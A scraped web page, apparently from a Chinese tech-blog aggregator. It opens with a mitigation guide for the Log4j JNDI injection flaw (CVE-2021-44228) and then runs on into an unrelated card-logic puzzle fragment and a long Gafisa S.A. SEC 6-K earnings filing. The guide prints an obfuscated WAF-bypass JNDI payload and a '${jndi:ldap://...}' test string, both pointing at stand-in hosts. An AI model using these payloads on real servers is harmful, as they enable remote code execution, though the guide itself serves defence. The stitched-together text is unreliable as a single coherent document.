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  • 对q对j单6对5单4
    千次阅读
    2021-12-21 19:24:32

    CVE-2021-44228,原理上是 log4j-core 代码中的 JNDI 注入漏洞。这个漏洞可以直接导致服务器被入侵,而且由于“日志”场景的特性,攻击数据可以多层传导,甚至可以威胁到纯内网的服务器。log4j 作为 Java 开发的基础公共日志类,使用范围非常广,漏洞必定影响深远,想想当年commons-collections反序列化漏洞的影响范围。

    Github漏洞公告:
    https://github.com/advisories/GHSA-jfh8-c2jp-5v3q

    影响 < 2.15.0 的所有 2.x 版本。也就是说,除了最新版本之外的所有版本都受影响。

    最直接、有效、稳定的修复方式是:将 log4j-core 升级到 2.15.0 版本

    最直接、有效、稳定的修复方式是:将 log4j-core 升级到 2.15.0 版本

    最直接、有效、稳定的修复方式是:将 log4j-core 升级到 2.15.0 版本

    如果实在无法升级,可以尝试把漏洞类删掉。其他修复方式可以结合使用起到比较好的快速缓解作用,但受限于不同的环境,可能会产生各种各样比较麻烦的问题或者未来的隐患。长期修复方案需要保证稳定、可靠、持久有效,这种严重漏洞值得一个发布和重启。

    2.15.0 版本下载地址:
    https://repo.maven.apache.org/maven2/org/apache/logging/log4j/log4j-core/2.15.0/

    pom.xml 配置

    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.15.0</version>
    </dependency>
    

    缓解方式1:接入安全产品

    第一时间上WAF规则、RASP拦截等措施,给修复争取时间。

    但是也要注意一些静态规则上的绕过,log4j 支持的写法比较多,有非常多绕过姿势。比如:

    ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
    

    缓解方式2:删除漏洞类

    通过删除漏洞类进行修复的方案比较稳,也是官方推荐的一种修复方案。直接删除 log4j jar 包中存在漏洞的类:

    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
    

    这种修复比较方便快捷,一般业务代码也不会用到 jndi lookup 这个功能。不过可能会对基于版本号判定的安全数据采集造成一定困扰,无法准确统计漏洞的最新受影响情况。建议删除之后在 jar 包后面加上一定的标记,如: log4j-2.14.1.sec.jar

    另外,由于某些原因不想删除的话,可以自己代码替换原始的 JndiLookup 类,将它加到业务代码中。需要注意的是,必须保证它在 log4j 原类之前加载。

    package org.apache.logging.log4j.core.lookup;
    
    public class JndiLookup {
        public JndiLookup() {
            throw new NoClassDefFoundError("JNDI lookup is disabled");
        }
    }
    

    也可以做成依赖包,在 log4j-core 之前添加,可以实现同样的效果(注意不要引入不可信的第三方依赖,可能导致潜在安全风险,以下配置来源互联网,仅作为示例,请勿直接使用):

    <dependency>
        <groupId>org.glavo</groupId>
        <artifactId>log4j-patch</artifactId>
        <version>1.0</version>
    </dependency>  
    

    当然也可以通过RASP的方式干掉漏洞类,Github上有不少RASP的无损修复方案,比如:

    https://github.com/chaitin/log4j2-vaccine

    https://github.com/boundaryx/cloudrasp-log4j2

    缓解方式3:通过配置禁用 log4j 的 lookup 功能

    禁用的方式就比较多了。然而下面2、3、4这几种方式对低于 2.10 版本的 log4j-core 都没有效果,而且环境变量和启动参数这种设置,在迁移或者变更的过程中丢失的可能性比较大。log4j 在 2.15.0 版本中默认就已经关闭了 lookup 功能。


    log4j2.component.properties、log4j2.xml 默认放在 ClassPath 路径下,如:源代码的资源目录或者可执行程序所在的当前目录。

    1. 设置日志输出 Pattern 格式

    对于 >=2.7 的版本,在 log4j 中对每一个日志输出格式进行修改。在 %msg 占位符后面添加 {nolookups},这种方式的适用范围比其他三种配置更广。比如在 log4j2.xml 中配置:

    <?xml version="1.0" encoding="UTF-8"?>
    <Configuration status="WARN">
        <Appenders>
            <Console name="Console" target="SYSTEM_OUT">
                <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{nolookups}%n"/>
            </Console>
        </Appenders>
        <Loggers>
            <Root level="error">
                <AppenderRef ref="Console"/>
            </Root>
        </Loggers>
    </Configuration>
    
    public class Test {
        public static void main(String[] args) {
        String t = "${jndi:ldap://xxx.com/xxx}";
        Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);
        logger.error(t);
        }
    }
    

    2. 设置JVM系统属性

    在 Java 应用启动参数中增加 
    -Dlog4j2.formatMsgNoLookups=true,或者在业务代码中设置系统属性:

    // 必须在 log4j 实例化之前设置该系统属性
    System.setProperty("log4j2.formatMsgNoLookups", "true");
    
    Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);
    

    3. 修改配置文件

    在配置文件 
    log4j2.component.properties 中增加:log4j2.formatMsgNoLookups=true,配置文件放置于应用程序的 ClassPath 路径下。

    4. 设置进程环境变量

    在环境变量中增加:
    LOG4J_FORMAT_MSG_NO_LOOKUPS=true

    注意!这些配置和属性,并不能在所有场景下生效,比如在 logstash 中就无法生效: Solutions and Mitigations: The widespread flag 
    -Dlog4j2.formatMsgNoLookups=true does NOT mitigate the vulnerability in Logstash, as Logstash uses Log4j in a way where the flag has no effect. It is therefore necessary to remove the JndiLookup class from the log4j2 core jar, with the following command:

    zip -q -d /logstash-core/lib/jars/log4j-core-2.* org/apache/logging/log4j/core/lookup/JndiLookup.class

    Refer: https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476

    缓解方式4:升级JDK版本

    对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,默认就已经禁用了 RMI Reference、LDAP Reference 的远程加载。对于 RCE 来说,可以起到很直接的缓解作用,可以作为增强型的加固方案。

    在高版本JDK环境下,JNDI注入也还是存在一定RCE风险,可以参考这篇文章:
    https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

    另外 log4j 漏洞本身除了 RCE,还存在着巨大的攻击面,比如 SSRF、敏感信息泄露等等,威胁非常大,不要企图仅仅通过升级JDK版本来修复漏洞,建议还是老老实实升级。

    更多相关内容
  • 比如排除黑桃J 8 2 7 3 草花K 6 这样甲就会在开局说不知道 而乙说“我知道你不知道”,也就是说乙所知道的花色内的数字一定不包含被排除的哪些数字中 那么乙手中的花色一定是黑桃和方块 紧接着甲说知道了...


    排除掉甲一拿到就能知道花色得牌


    比如排除黑桃J 8 2 7 3


    草花K 6


    这样甲就会在开局说不知道


    而乙说“我知道你不知道”,也就是说乙所知道的花色内的数字一定不包含被排除的哪些数字中


    那么乙手中的花色一定是黑桃和方块


    紧接着甲说知道了那么甲手中的数字肯定很特殊


    也就是在AQ45中找一个


    如果是A的话,那么甲肯定无法区分是黑桃色的还是方块色的


    所以甲手中的牌一定是黑桃Q,4 或者是方块5


    然后乙必须要在最后也能推理,所以乙手中的花色应该只能是方块


    因为如果乙手中的花色是黑桃的话,乙是不可能知道甲手中拿的是Q还是4


    如果乙手中的花色是方块,就可以轻易的知道甲的点数一定是5


    因为方块中只有5才可能满足上面的所有条件
     

     

    展开全文
  • 0001292814-19-000947.txt : 201903290001292814-19-000947.hdr.sgml : 2019032920190328190010ACCESSION NUMBER:0001292814-19-000947CONFORMED SUBMISSION TYPE:6-KPUBLIC DOCUMENT COUNT:11CONFORMED PERIOD OF R...

    0001292814-19-000947.txt : 20190329

    0001292814-19-000947.hdr.sgml : 20190329

    20190328190010

    ACCESSION NUMBER:0001292814-19-000947

    CONFORMED SUBMISSION TYPE:6-K

    PUBLIC DOCUMENT COUNT:11

    CONFORMED PERIOD OF REPORT:20190331

    FILED AS OF DATE:20190329

    DATE AS OF CHANGE:20190328

    FILER:

    COMPANY DATA:

    COMPANY CONFORMED NAME:Gafisa S.A.

    CENTRAL INDEX KEY:0001389207

    STANDARD INDUSTRIAL CLASSIFICATION:GEN BUILDING CONTRACTORS - RESIDENTIAL BUILDINGS [1520]

    IRS NUMBER:000000000

    FISCAL YEAR END:1231

    FILING VALUES:

    FORM TYPE:6-K

    SEC ACT:1934 Act

    SEC FILE NUMBER:001-33356

    FILM NUMBER:19713409

    BUSINESS ADDRESS:

    STREET 1:AV. NACOES UNIDAS, 8501 - 19 ANDAR

    STREET 2:05477-000 - ALTO DE PINHEIROS

    CITY:SAO PAULO - SP

    STATE:D5

    ZIP:00000

    BUSINESS PHONE:551130259000

    MAIL ADDRESS:

    STREET 1:AV. NACOES UNIDAS, 8501 - 19 ANDAR

    STREET 2:05477-000 - ALTO DE PINHEIROS

    CITY:SAO PAULO - SP

    STATE:D5

    ZIP:00000

    6-K

    1

    gfapr4q18_6k.htm

    FORM 6-K

    gfapr4q18_6k.htm - Generated by SEC Publisher for SEC Filing

    SECURITIES AND EXCHANGE COMMISSION

    Washington, D.C. 20549

    FORM 6-K

    REPORT OF FOREIGN ISSUER

    PURSUANT TO RULE 13a-16 OR 15d-16 OF THE

    SECURITIES EXCHANGE ACT OF 1934

    For the month of March, 2019

    (Commission File No. 001-33356),

    Gafisa S.A.

    (Translation of Registrant's name into English)

    Av. Nações Unidas No. 8501, 19th floor

    São Paulo, SP, 05425- 070

    Federative Republic of Brazil

    (Address of principal executive office)

    Indicate by check mark whether the registrant files or will file

    annual reports under cover Form 20-F or Form 40-F.

    Form 20-F ___X___ Form 40-F ______

    Indicate by check mark if the registrant is submitting

    the Form 6-K in paper as permitted by Regulation S-T Rule 101(b)(1)Yes ______ No ___X___

    Indicate by check mark if the registrant is submitting

    the Form 6-K in paper as permitted by Regulation S-T Rule 101(b)(7):

    Yes ______ No ___X___

    Indicate by check mark whether by furnishing the information contained in this Form,

    the Registrant is also thereby furnishing the information to the Commission pursuant

    to Rule 12g3-2(b) under the Securities Exchange Act of 1934:

    Yes ______ No ___X___

    If “Yes” is marked, indicate below the file number assigned

    to the registrant in connection with Rule 12g3-2(b): N/A

    6aa135df08e46fdeb224bb430ab3932a.gif

    FOR IMMEDIATE RELEASE- São Paulo, March 28, 2019 – Gafisa S.A. (B3: GFSA3; OTC: GFASY),one of Brazil’sleading homebuilders, today reported its financial results for the fourth quarter ended December31, 2018.

    GAFISA ANNOUNCES4Q18 and 2018 RESULTS

    973651fb60b34704b9dd0391a988bff2.gif

    During 2018, the Company underwent a restructuring process. The R$250.8 million capital increase was concluded in February, lessening immediate cash pressure. In September, a change in the Company’s management led to the establishment of a new turnaround strategy in the last quarter, which focused on structure and cost adjustment including the shutdown of a branch in Rio de Janeiro; the relocation of our headquarters; and the revision of our processes.

    This new turnaround strategy should save approximately R$110 million p.a. by reducing (i) headcount by 50%, accounting for savings of R$45 million/year; (ii) marketing by R$40 million/year; (iii) IT by R$18 million/year; (iv) sales stand expenditure by R$4 million; and saving (v) R$4 million/year with the relocation of our headquarters. Part of these gains already materialized in Nov/18 and Dec/18 but will become more evident in upcoming quarters.

    Adjustment needs mapped out during 4Q18, such as impairment of land/inventories, the goodwill impairment test to remeasure the 30% stake in Alphaville and reversal/entry of provision, amongst others, were recorded in 4Q18, adversely affecting results by R$276 million.

    Thus, Gafisa starts 2019 well-positioned for the  new cycle in the real estate sector, equipped with quality assets and a renowned brand. Our pipeline launches rely on profitable residential projects that are fine-tuned to the market demand and located in the City of São Paulo. In this way, a higher volume of launches are scheduled for the second half of 2019.

    Inventory PSV totals R$1.2 billion, with higher market liquidity (73% of total inventory PSV) concentrated in São Paulo residential units.

    Dissolutions, which for several years caused an imbalance in various projects, significantly decreased in 2018. The monthly average volume of dissolutions declined from R$34 million in 2017 to R$19 million in 2018. This downward trend should continue in 2019, with the approval of a law that regulates dissolutions. Pursuant to new legislation, developers may retain up to 50% of the amount paid by the consumer in cases where the purchase has been waived, conferring greater legal safety to the sector.

    Net debt totaled R$752 million in Dec/18, down 21% from the previous year. Leverage, measured by net debt/shareholders’ equity ratio, jumped to 153% at the end of 2018, mainly impacted by negative results in the period and impairments recorded. Excluding project financing, the net debt/shareholders’ equity ratio was 45%. Funding alternatives are being analyzed to remodel the Company’s ownership structure.

    Our expectations for 2019 are positive, the macroeconomic scenario is improving, and the market has begun to show signs of recovery. The growth upturn will occur gradually and sustainably, aiming for a solid performance that will create value for shareholders and stakeholders.

    Roberto Luz Portella

    CEO, CFO, and Investor Relations Officer

    1

    6aa135df08e46fdeb224bb430ab3932a.gif 

    MAIN CONSOLIDATED INDICATORS

    Table 1 - Operational Performance (R$ 000)

    4Q18

    3Q18

    Q/Q (%)

    4Q17

    Y/Y (%)

    12M18

    12M17

    Y/Y (%)

    Launches

    118,936

    71,144

    67.2%

    90,113

    32.0%

    728,670

    553,954

    31.5%

    Gross Sales

    153,406

    188,125

    -18.5%

    216,988

    -29.3%

    1,040,848

    1,131,823

    -8.0%

    Cancellations

    (58,401)

    (51,661)

    13.0%

    (95,407)

    -38.8%

    (227,677)

    (411,658)

    -44.7%

    Net Pre-Sales

    95,005

    136,464

    -30.4%

    121,851

    -22.0%

    813,172

    720,164

    12.9%

    Speed of Sales (SoS)

    7.20%

    9.40%

    -2.2 p,p,

    7.40%

    -0.2 p,p,

    39.90%

    32.00%

    7.9 p,p,

    Delivered PSV

    263,254

    346,009

    -23.9%

    41,171

    539.4%

    910,255

    861,325

    5.7%

    Inventories

    1,225,066

    1,318,698

    -7.1%

    1,581,402

    -22.5%

    1,225,066

    1,581,402

    -22.5%

    Table 2 – Financial Performance (R$ 000)

    4Q18

    3Q18

    Q/Q (%)

    4Q17

    Y/Y (%)

    12M18

    12M176

    Y/Y (%)

    Net Revenue

    192,917

    252,306

    -24%

    342,057

    -44%

    960,891

    786,174

    22%

    Recurring Adjusted Gross Profit¹

    46,942

    80,330

    -42%

    91,620

    -49%

    290,771

    143,535

    103%

    Recurring Adjusted Gross Margin

    24.3%

    31.8%

    -751 bps

    26.8%

    -245 bps

    30.3%

    18.3%

    1,200 bps

    Recurring Adjusted EBITDA²

    29,247

    37,776

    -23%

    44,324

    -34%

    126,954

    (50,828)

    -350%

    Recurring Adjusted EBITDA Margin

    15.2%

    15.0%

    19 bps

    13.0%

    220 bps

    13.2%

    -6.5%

    1,968 bps

    Recurring Adjusted Net Income

    11,559

    (19,984)

    -158%

    (11,459)

    1%

    (66,186)

    (190,065)

    -65%

    Backlog Revenues

    551,270

    587,344

    -6%

    620,821

    -11%

    551,270

    620,821

    -11%

    Backlog Results ³

    196,812

    215,778

    -9%

    215,758

    -9%

    196,812

    215,758

    -9%

    Backlog Results Margin ³ 5

    35.7%

    36.7%

    -104 bps

    34.8%

    95 bps

    35.7%

    34.8%

    95 bps

    Net Debt

    752,253

    765,898

    -2%

    957,436

    -21%

    752,253

    957,436

    -21%

    Cash and Cash Equivalents 4

    137,160

    194,445

    -29%

    147,462

    -7%

    137,160

    147,462

    -7%

    Equity + Minority Shareholders

    493,191

    871,955

    -43%

    715,069

    -31%

    493,191

    715,069

    -31%

    (Net Debt – Proj. Fin.) / (Equity + Minorit.)

    45.4%

    22.7%

    2,271 bps

    31.4%

    1,407 bps

    45.4%

    31.4%

    1,407 bps

    ¹ Adjusted by capitalized interests and impairmentof inventories and land.

    ² Adjusted by stock option plan expenses (non-cash), minority shareholders, and impairment of inventories, land, and Alphaville.

    ³Backlog  results  net  of PIS/COFINS  taxes (3.65%) and  excluding  the  impact  of  PVA  (Present Value Adjustment) method  according  to  Law  No. 11.638.

    4Cash and cash equivalents, and marketable securities.

    5Backlogresultscomprisetheprojectsrestrictedbyconditionprecedent.

    6Resubmitted by adoption of IRFS 15 and IFRS 9.

    2

    6aa135df08e46fdeb224bb430ab3932a.gif 

    OPERATIONAL RESULTS

    Table 3 - Operational Performance (R$ 000)

    4Q18

    3Q18

    Q/Q (%)

    4Q17

    Y/Y (%)

    12M18

    12M17

    Y/Y (%)

    Launches

    118,936

    71,144

    67,2%

    90,113

    32,0%

    728,670

    553,954

    31,5%

    Gross Sales

    153,406

    188,125

    -18,5%

    216,988

    -29,3%

    1,040,848

    1,131,823

    -8,0%

    Cancellations

    (58,401)

    (51,661)

    13,0%

    (95,407)

    -38,8%

    (227,677)

    (411,658)

    -44,7%

    Net Pre-Sales

    95,005

    136,464

    -30,4%

    121,851

    -22,0%

    813,172

    720,164

    12,9%

    Speed of Sales (SoS)

    7,20%

    9,40%

    -2,2 p,p,

    7,40%

    -0,2 p,p,

    39,90%

    32,00%

    7,9 p,p,

    Delivered PSV

    263,254

    346,009

    -23,9%

    41,171

    539,4%

    910,255

    861,325

    5,7%

    Launches

    The Company launched one project in 4Q18, the Scena Tatuapé, with total PSV of R$118.9 million, which, when added to other launches in the year, totaled R$728.7 million in 2018, 31.5% higher than the total volume launched in 2017. In 4Q18, the estimated launch of three other projects with a PSV of approximately R$320 million was postponed to 2019. One of the projects was located in an oversupplied region; the two other projects, located in regions that did not reach an adequate development level, required adjustments.

    26aca730491d4284b09fbaae1511f6b8.png

    Table 4 - Launches (R$ 000)

    Project

    City

    Period

    PSV

    Upside Pinheiros

    São Paulo/SP

    1Q18

    138,715

    Upside Paraíso

    São Paulo/SP

    2Q18

    147,949

    Belvedere Lorian

    Osasco/SP

    2Q18

    165,130

    MOOV Belém

    São Paulo/SP

    2Q18

    86,797

    Vision Pinheiros

    São Paulo/SP

    3Q18

    71,144

    Scena Tatuapé

    São Paulo/SP

    4Q18

    118,936

    TOTAL

    728,671

    3

    6aa135df08e46fdeb224bb430ab3932a.gif 

    Sales

    In 4Q18, gross sales totaled R$153.4 million, down 18.5% quarter-over-quarter and 29.3% year-over-year. This quarter was a period marked by transformation. Sales lists and several business conditions were reassessed, with the goal of preserving margin and profitability. For instance, we increased the percentage of clients’ down payments, which had the initial effect of reducing the speed of sales in the quarter—but will ensure healthier sales and fewer dissolutions going forward.

    In the last 12 months, gross sales totaled R$1.04 billion in 2018 versus R$1.13 billion in 2017.

    Dissolutions came to R$58.4 million in 4Q18, 38.8% lower than in 4Q17, despite a significantly higher volume of projects delivered year-over-year. Dissolutions reached R$227.7 million in 2018, reflecting a consistent downward trend (-44.7% p.a.). The average monthly dissolutions decreased from R$34.3 million in 2017 to R$19 million in 2018.

    ec81828825014b0d6fafb390bfc0d671.png

    The net pre-sales totaled R$95 million in 4Q18. In 2018, net pre-sales came to R$813.2 million, 12.9% higher than in 2017.

    73b34fb8e042886afdac9e6c474588a3.png

    589f381da2f96572abc4cb046c90f213.png

    4

    6aa135df08e46fdeb224bb430ab3932a.gif 

    Sales Over Supply (SoS)

    Quarterly SoS was 7.2% in 4Q18, in line with the same period in the previous year. In the last 12 months, SoS reached 40%, 8 p.p. higher than in 4Q17, bolstered by inventory sales and launch successes. With 100% sales, Upside Pinheiros, a project launched in 1Q18, was the highlight.

    7da09dd53ccf5361774625724e86bb74.gif

    Inventory (Property for Sale)

    Inventory at market value was R$1.225 billion in 4Q18, down 7.1% quarter-over-quarter. This decrease can be attributed to sales in the period as well as sales prices in the quarter that were adjusted with the aim of pricing inventory units at actual market value.

    Table 5 – Inventory at Market Value 4Q18 x 3Q18 (R$ 000)

    Inventories  3Q18

    Launches

    Dissolutions

    Gross Sales

    Adjustments¹

    Inventories  4Q18

    Q/Q(%)

    São Paulo

    1,091,812

    118,936

    46,269

    (142,234)

    (80,770)

    1,034,013

    -5.3%

    Rio de Janeiro

    176,596

    -

    11,567

    (7,253)

    (37,747)

    143,163

    -18.9%

    Other Markets

    50,290

    -

    564

    (3,919)

    954

    47,890

    -4.8%

    Total

    1,318,698

    118,936

    58,401

    (153,406)

    (117,563)

    1,225,066

    -7.1%

    ¹Adjustments reflect the updates related to the project scope, launch date, and pricing update in the period.

    The positive inventory sales performance decreased inventory turnover from 25 months in 4Q17 to 18 months at the end of 2018.

    1647b9bdcea18623c06338ff6c1f06e2.png

    We emphasize that out of R$460.6 million finished units, approximately 60% are residential units, which should contribute to sustaining the current level of inventory turnover and the monetization of these assets over the upcoming months. In addition, we point out that 73.5% of total inventory are residential units located in the state of São Paulo, where we are well-positioned to seize opportunities that result from the economic upturn.

    5

    6aa135df08e46fdeb224bb430ab3932a.gif 

    Table 6 – Inventory at Market Value – Financial Progress – POC - (R$ 000)

    Not Initiated

    Up to 30% built

    30% to 70% built

    More than 70% built

    Finished Units

    Total 4Q18

    São Paulo

    181,745

    75,514

    365,287

    127,304

    284,164

    1,034,013

    Rio de Janeiro

    -

    -

    -

    -

    143,163

    143,163

    Other Markets

    -

    -

    14,647

    -

    33,243

    47,890

    Total

    181,745

    75,514

    379,934

    127,304

    460,570

    1,225,066

    Table 7 – Inventory at Market Value – Commercial x Residential Breakdown - (R$ 000)

    GFSA Inventory %

    Residential

    Commercial

    Total

    São Paulo

    900,948

    133,065

    1,034,013

    Rio de Janeiro

    41,905

    101,258

    143,163

    Other Markets

    47,890

    -

    47,890

    Total

    990,743

    234,323

    1,225,066

    Delivered Projects and Transfer

    In 4Q18 alone, the Company delivered four projects totaling 549 units, with total PSV reaching R$263.3 million, fives times higher than the R$41.1 million seen in 4Q17. Currently, Gafisa has 14 projects underway, four of which will start works in 2019.

    Table 8 – Deliveries

    Project

    Delivery Date

    Launch Date

    Location

    % Share

    Units 100%

    PSV % R$000

    Mood Lapa

    May/18

    Aug/15

    Rio de Janeiro/RJ

    100%

    153

    87,775

    Smart Vila Madalena

    Jun/18

    Oct/15

    São Paulo/SP

    100%

    230

    82,190

    Vision Paulista

    Jun/18

    Apr/15

    São Paulo/SP

    100%

    200

    88,151

    Barra Viva 2

    Jun/18

    Sep/15

    São Paulo/SP

    50%

    221

    21,462

    Barra Viva 1 – Torre Alegria

    Jun/18

    Aug/16

    São Paulo/SP

    50%

    221

    21,414

    Vision Capote Valente

    Jul/18

    Nov/15

    São Paulo/SP

    100%

    151

    97,414

    Bosque Marajoara

    Aug/18

    Jun/15

    São Paulo/SP

    100%

    339

    164,691

    Smart Santa Cecília

    Sep/18

    Oct/15

    São Paulo/SP

    100%

    290

    83,904

    Scena Alto da Lapa

    Oct/18

    Oct/15

    São Paulo/SP

    100%

    42

    52,119

    Alphamall

    Nov/18

    Sep/15

    Rio de Janeiro/RJ

    100%

    53

    24,272

    Hermann Jr

    Dec/18

    Oct/15

    São Paulo/SP

    100%

    22

    111,343

    Barra Vista

    Dec/18

    Dec/16

    São Paulo/SP

    50%

    432

    75,520

    Total 4Q18

    549

    263,254

    Total 2018

    2,354

    910,255

    6

    6aa135df08e46fdeb224bb430ab3932a.gif 

    PSV transferred in 4Q18 was up 10%, reaching R$82.4 million year-over-year, boosted by higher PSV of projects delivered. In 2018, PSV transferred totaled R$321.3 million, down 27.2% from 2017. This reduction is because approximately 71% of PSV delivered in the quarter occurred in December (Hermann Jr and Barra Vista), with transfer foreseen in the first quarter of 2019.

    Table 9 – Transfer and Deliveries - (R$ 000)

    4Q18

    3Q18

    Q/Q (%)

    4Q17

    Y/Y (%)

    12M18

    12M17

    Y/Y (%)

    PSV Transferred¹

    82,400

    93,027

    -11.42%

    74,824

    10.13%

    321,262

    441,217

    -27.19%

    Delivered Projects

    4

    3

    33.33%

    1

    300.00%

    12

    9

    33.33%

    Delivery Units

    549

    780

    -29.62%

    293

    87.37%

    2,354

    2,182

    7.88%

    Delivered PSV²

    263,254

    346,009

    -23.92%

    41,171

    539.42%

    910,255

    861,325

    5.68%

    ¹PSVtransferred refers to the potential sales value of the units transferred to financial institutions;

    ²PSV = Potential sales value of delivered units.

    Landbank

    The Company’s landbank, with an estimated PSV of R$3.75 billion, represents 32 potential projects/phases, totaling 6,620 units. Approximately 70% of land was acquired through swaps and was mostly located in the city of São Paulo.

    Table 10 - Landbank (R$ 000)

    PSV

    (% Gafisa) ¹

    % Swap Total ²

    % Swap Units

    % Swap Financial

    Potential Units

    (% Gafisa) ³

    Potential

    Units Total

    São Paulo

    2,410,522

    79.2%

    73.6%

    5.5%

    4,816

    5,107

    Rio de Janeiro

    748,745

    60.1%

    60.1%

    0.0%

    755

    892

    Other Markets

    594,327

    30.0%

    30.0%

    0.0%

    1,050

    1,320

    Total

    3,753,594

    69.8%

    66.2%

    3.6%

    6,620

    7,319

    ¹ The PSV (% Gafisa) reported is net of swap and brokerage rate.

    ²The swap percentage is measured compared to the historical cost of land acquisition.

    ³Potential units are net of swaps and refer to the Gafisa’s and/or its partners’ interest in the project.

    Table 11 – Changes in the Landbank (4Q18 x 3Q18 - R$ 000)

    Initial Landbank

    Land Acquisition

    Launches

    Dissolutions

    Adjustments

    Final Landbank

    São Paulo

    2,645,527

    -

    118,936

    -

    (116,069)

    2,410,522

    Rio de Janeiro

    1,230,529

    -

    -

    -

    (481,784)

    748,745

    Other Markets

    43,074

    -

    -

    -

    551,253

    594,327

    Total

    3,919,130

    -

    118,936

    -

    (46,600)

    3,753,594

    *The amounts reported are net swap and brokerage.

    7

    6aa135df08e46fdeb224bb430ab3932a.gif 

    FINANCIAL RESULTS

    Revenue

    Net revenues rose to R$960.9 million in 2018, up by 22% from 2017, driven by higher sales volume and work evolution in the period. In 4Q18, nearly 30,5% of net revenue is related to projects launched during 2018, reflecting our launches assertiveness.

    Table 12 – Revenue Recognition (R$ 000)

    4Q18

    4Q17¹

    Launches

    Pre-Sales

    %

    Sales

    Revenue

    %

    Revenue

    Pre-Sales

    %

    Sales

    Revenue

    %

    Receita

    2018

    36,296

    38.2%

    58,808

    30.5%

    -

    -

    -

    -

    2017

    10,673

    11.2%

    20,911

    10.8%

    52,872

    43.5%

    40,021

    11.7%

    2016

    25,612

    27.0%

    70,009

    36.3%

    22,514

    18.5%

    58,834

    17.2%

    2015

    17,262

    18.2%

    39,249

    20.3%

    31,236

    25.7%

    152,215

    44.5%

    <2014

    5,161

    5.4%

    3,939

    2.0%

    14,959

    12.3%

    90,987

    26.6%

    Total

    95,005

    100%

    192,917

    100.0%

    121,581

    100%

    342,057

    100.0%

    ¹ Resubmitted by adoption of IRFS 15 and IFRS 9.

    Gross Profit & Margin

    In 4Q18, gross profit & margin were impacted by provisions totaling R$63.1 million, deriving from impairmentof certain plots of land and inventory units. Excluding the effect of these adjustments, recurring adjusted gross profit recorded in 4Q18 totaled R$46.9 million versus approximately R$91.6 million in 4Q17. In the last 12 months, recurring adjusted gross profit totaled R$290.8 million in 2018, twice higher than the amount recorded in 2017. Recurring adjusted gross margin in 2018 was 30.3%, 12 p.p. higher than in 2017.

    Table 13 – Gross Margin (R$ 000)

    4Q18

    3Q18

    Q/Q(%)

    4Q17¹

    Y/Y (%)

    12M18

    12M17¹

    Y/Y (%)

    Net Revenue

    192,917

    252,306

    -24%

    342,057

    -44%

    960,891

    786,174

    22%

    Gross Profit

    (29,710)

    48,746

    -161%

    (81,111)

    -63%

    114,722

    (120,312)

    -195%

    Gross Margin

    -15.4%

    19.3%

    -3,472 bps

    -23.7%

    831 bps

    11.9%

    -15.3%

    2,724 bps

    (-) Financial Costs

    (13,506)

    (31,584)

    -57%

    (25,399)

    -47%

    (112,904)

    (116,515)

    -3%

    Adjusted Gross Profit²

    (16,204)

    80,330

    -120%

    (55,712)

    -71%

    227,626

    (3,797)

    -6,095%

    Adjusted Gross Margin²

    -8.4%

    31.8%

    -4,024 bps

    -16.3%

    789 bps

    23.7%

    -0.5%

    2,417 bps

    (-) Inventory and landbank adjustment

    (63,145)

    -

    -

    (147,332)

    -57%

    (63,145)

    (147,332)

    -57%

    Recurring Adjusted Gross Profit³

    46,942

    80,330

    -42%

    91,620

    -49%

    290,771

    143,535

    103%

    Recurring Adjusted Gross Margin³

    24.3%

    31.8%

    -751 bps

    26.8%

    -245 bps

    30,3%

    18.3%

    1,200 bps

    ¹ Resubmitted by adoption of IRFS 15 and IFRS 9.

    ² Adjusted by capitalized interests.

    ³ Adjusted byimpairment of land and inventories.

    8

    6aa135df08e46fdeb224bb430ab3932a.gif 

    Selling, General, and Administrative Expenses (SG&A)

    Selling, general, and administrative expenses totaled R$6.6 million, 85% below 3Q18 and 86% below 4Q17. In the last 12 months, selling, general, and administrative expenses totaled R$141 million, down 22% from 2017.

    Selling expenses totaled R$11.4 million, down 45% from 3Q18 due to a reduction in i)product marketing and selling expenses, reflecting the gains earned during the 4Q18 turnaround process; and ii) brokerage and sales commission expenses, reflecting lower sales volume in the period. In 2018, the decrease was 4% versus 2017.

    General and administrative expenses totaled R$4.7 million, down 121% from 3Q18 mainly due to (i) the net reversal of bonus provisions for the previous year and current year, amounting to R$14.8 million in 2018; (ii) reduced services expenses; and (iii) lower salaries and charges expenses. In the last 12 months, general and administrative expenses decreased from R$92.7 million in 2017 to R$57.1 million in 2018 due to a reversal of provision for bonus mentioned above as well as lower services and IT expenses.

    Table 14 – SG&A Expenses (R$ 000)

    4Q18

    3Q18

    Q/Q(%)

    4Q17

    Y/Y (%)

    12M18

    12M17

    Y/Y (%)

    Selling Expenses

    (11,389)

    (20,653)

    -45%

    (24,399)

    -53%

    (84,431)

    (87,568)

    -4%

    G&A Expenses

    4,752

    (22,300)

    -121%

    (24,165)

    -120%

    (57,089)

    (92,713)

    -38%

    Total SG&A Expenses

    (6,637)

    (42,953)

    -85%

    (48,564)

    -86%

    (141,520)

    (180,281)

    -22%

    In contrast to other periods in the year, the total amount of other operating expenses reached R$251.4 million in 4Q18, 67% higher than in 4Q17. A significant amount of this total, 45% or R$112.8 million derived from the goodwill impairment test to remeasure the 30% stake in Alphaville, yearly conducted based on the future profitability estimate or when circumstances indicate impairment losses.

    Another relevant impact in the quarter was the expense relating to provision for contingencies. During the revision of contingency proceedings, we identified a provisioning need for four relevant contingencies: (i) execution referring to the loss of suit totaling R$33.7 million; (ii) indemnification in affirmative covenant involving former shareholder of the Company, in the amount of R$26.7 million; (iii) lawsuit referring to construction guarantee totaling R$23.2 million, the injunction of which was granted relief on March 7, 2017 ; and (iv) indemnification due to land dissolution, with judgment rendered on September 9, 2015, totaling R$23.3 million. Furthermore, it is important to note that the impairment of software reached approximately R$5 million.

    Table 15 – Other Operating Revenues/Expenses (R$ 000)

    4Q18

    3Q18

    Q/Q(%)

    4Q17

    Y/Y (%)

    12M18

    12M17

    Y/Y (%)

